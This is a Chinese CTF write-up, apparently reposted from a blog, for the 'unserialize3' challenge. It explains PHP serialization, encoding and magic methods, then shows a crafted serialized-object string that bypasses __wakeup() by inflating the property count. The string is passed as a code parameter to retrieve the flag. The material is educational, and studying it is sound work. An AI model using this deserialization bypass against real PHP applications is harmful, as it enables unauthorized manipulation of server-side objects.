码迷,mamicode.com
首页 > 其他好文 > 详细

unserialize3

时间:2020-05-04 19:15:35      阅读:66      评论:0      收藏:0      [点我收藏+]

标签:http   art   php_eol   转换   csdn   图片   com   调用   bad   

0x01序列化与反序列化

  • 序列化:将变量转换为可保存或传输的字符串的过程。
  • 反序列化:在适当的的时候把这个字符串再转化成原来的变量使用。

优点:

  • 存储和传输数据更方便,使程序维护性更高。

函数:

serialize,unserialize,json_encode,json_decode,

1、serialize、unserialize

<?php
$a="aaaa";
$a=serialize($a);//字符序列化
echo $a;
echo unserialize($a);//字符反序列化
echo PHP_EOL;


$b=array("aaaa","bb","c");
$b=serialize($b);//数组序列化
echo $b;
$b=unserialize($b);//数组反序列化
var_dump($b);
echo PHP_EOL;


s:4:"aaaa";aaaa
a:3:{i:0;s:4:"aaaa";i:1;s:2:"bb";i:2;s:1:"c";}array(3) {
  [0]=>
  string(4) "aaaa"
  [1]=>
  string(2) "bb"
  [2]=>
  string(1) "c"
}
?>
各个字符的意义:
o:表示对象
a:表示数组
s:表示字符
i:表示数字

//s表示字符,4表示有4个字符,内容为"aaaa"
//a表示数组,3表示有三个变量值,i:0表示第一个变量,s为字符串,4位4个字符

当数组值包含单双引号或冒号时,序列化后容易出现问题。所以,采用base64_encode和base64decode。

<?php
$a = array("a","b","c");
$a=base64_encode(serialize($a));
echo $a;
echo PHP_EOL;
$b=unserialize(base64_decode($a));
var_dump($b);

YTozOntpOjA7czoxOiJhIjtpOjE7czoxOiJiIjtpOjI7czoxOiJjIjt9
array(3) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
}

?>

但是采用base64编码后,增加了字符串长度,增加了存储空间,所以使用gzcompress、gzuncompress压缩字符串。

<?php
$a = array("a","b","c");
$b=base64_encode(serialize($a));
$c=base64_encode(gzcompress(serialize($a)));
echo $b;
echo PHP_EOL;
echo $c;
echo PHP_EOL;

$d=unserialize(base64_decode($b));
$e=unserialize(gzuncompress(base64_decode($c)));
var_dump($d);
echo PHP_EOL;
var_dump($e);

0x02魔术方法

  • PHP将所有以__开头的类方法保存为魔术方法,所以在定义方法时,除了魔术方法,不要以__为前缀。
  • serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会被先调用,然后执行序列化操作,此功能用于清理对象。
  • unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,先调用。
  • __wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,绕过点。

0x03代码分析

class xctf{
public $flag = ‘111‘;
public function __wakeup(){
exit(‘bad requests‘);
}
?code=

//绕过__wakeup()魔术函数,得到flag

运行php代码,创建对象,序列化变量

<?php
class xctf{
public $flag = ‘111‘;
public function __wakeup(){
exit(‘bad requests‘);
}
}

$a=new xctf();
echo serialize($a);

//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
?>

修改属性值O:4:"xctf":2:{s:4:"flag";s:3:"111";},1->2
code传参
得到flag

技术图片

参考链接:
https://www.cnblogs.com/dayin1/p/11465832.html
https://www.jianshu.com/p/8f498198fc3d
https://blog.csdn.net/zz_Caleb/article/details/89361250

unserialize3

标签:http   art   php_eol   转换   csdn   图片   com   调用   bad   

原文地址:https://www.cnblogs.com/observering/p/12827655.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!